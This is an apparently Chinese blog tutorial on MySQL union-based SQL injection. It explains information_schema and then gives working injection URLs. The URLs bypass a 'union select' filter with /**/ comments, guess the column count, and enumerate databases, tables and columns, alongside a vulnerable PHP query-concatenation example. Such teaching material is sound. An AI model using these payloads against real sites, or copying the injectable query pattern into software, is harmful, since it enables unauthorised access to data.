首页 web安全

1. information_schema简介

要利用联合查询注入我们先了解一下information_schema
在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息
information_schema
在information_schema数据库中有很多张表,但对于联合注入来说,我们只要知道三个表即可

1. SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
2. TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
3. COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

2. 漏洞利用

首先我在自己机器上模拟正常数据库模拟正常数据库
并且发现一个注入点,但是不能进行union select操作

http://www.xxx.com/view.php?no=1
我们可以猜测大概的php语句是:

<?php
...
$key = $_GET['no'];
if(notUnionSelect($key))    //notUnionSelect()函数判断$key中是否存在 union select这个字符串
{
$str = "select username,age,blog from ctf where id = ".$key;
mysqli_query($sql,$str);
...
}
...
?>

2.1 绕过union select过滤

由于/**/在sql中是注释字符因此在union select中插入/**/就可绕过union select过滤

2.2 猜解字段

首先,我们不知道这个查询语句查询了几个列,所以我们需要猜解字段

猜解1个字段

http://www.xxx.com/view.php?no=1 union /**/ select 1

等价于:

select username,age,blog from ctf where id=1 union /**/ select 1;

ERROR 1222 (21000): The used SELECT statements have a different number of columns
ERROR 1222

猜解2个字段

http://www.xxx.com/view.php?no=1 union /**/ select 1,2

等价于:

select username,age,blog from ctf where id=1 union /**/ select 1,2;

ERROR 1222 (21000): The used SELECT statements have a different number of columns

猜解3个字段

http://www.xxx.com/view.php?no=1 union /**/ select 1,2,3

等价于:

select username,age,blog from ctf where id=1 union /**/ select 1,2,3;

无报错,说明前面的select中共查询了三个字段
success

2.3 查数据库

http://www.xxx.com/view.php?no=1 union /**/ select group_concat(schema_name),2,3 from information_schema.schemata where schema_name=database()

等价于:

select username,age,blog from ctf where id=1 union /**/ select group_concat(schema_name),2,3 from information_schema.schemata where schema_name=database();

查数据库

2.4 查数据表

http://www.xxx.com/view.php?no=1 union /**/ select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()

等价于:

select username,age,blog from ctf where id=1 union /**/ select group_concat(table_name),2,3 from information_schema.tables where table_schema=database();

查数据表

2.5 查表的属性(列)

http://www.xxx.com/view.php?no=1 union /**/ select group_concat(column_name),2,3 from information_schema.columns where table_schema=database()

等价于:

select username,age,blog from ctf where id=1 union /**/ select group_concat(column_name),2,3 from information_schema.columns where table_schema=database();

查表的属性

3. 参考资料

[1] MYSQL中information_schema简介




文章评论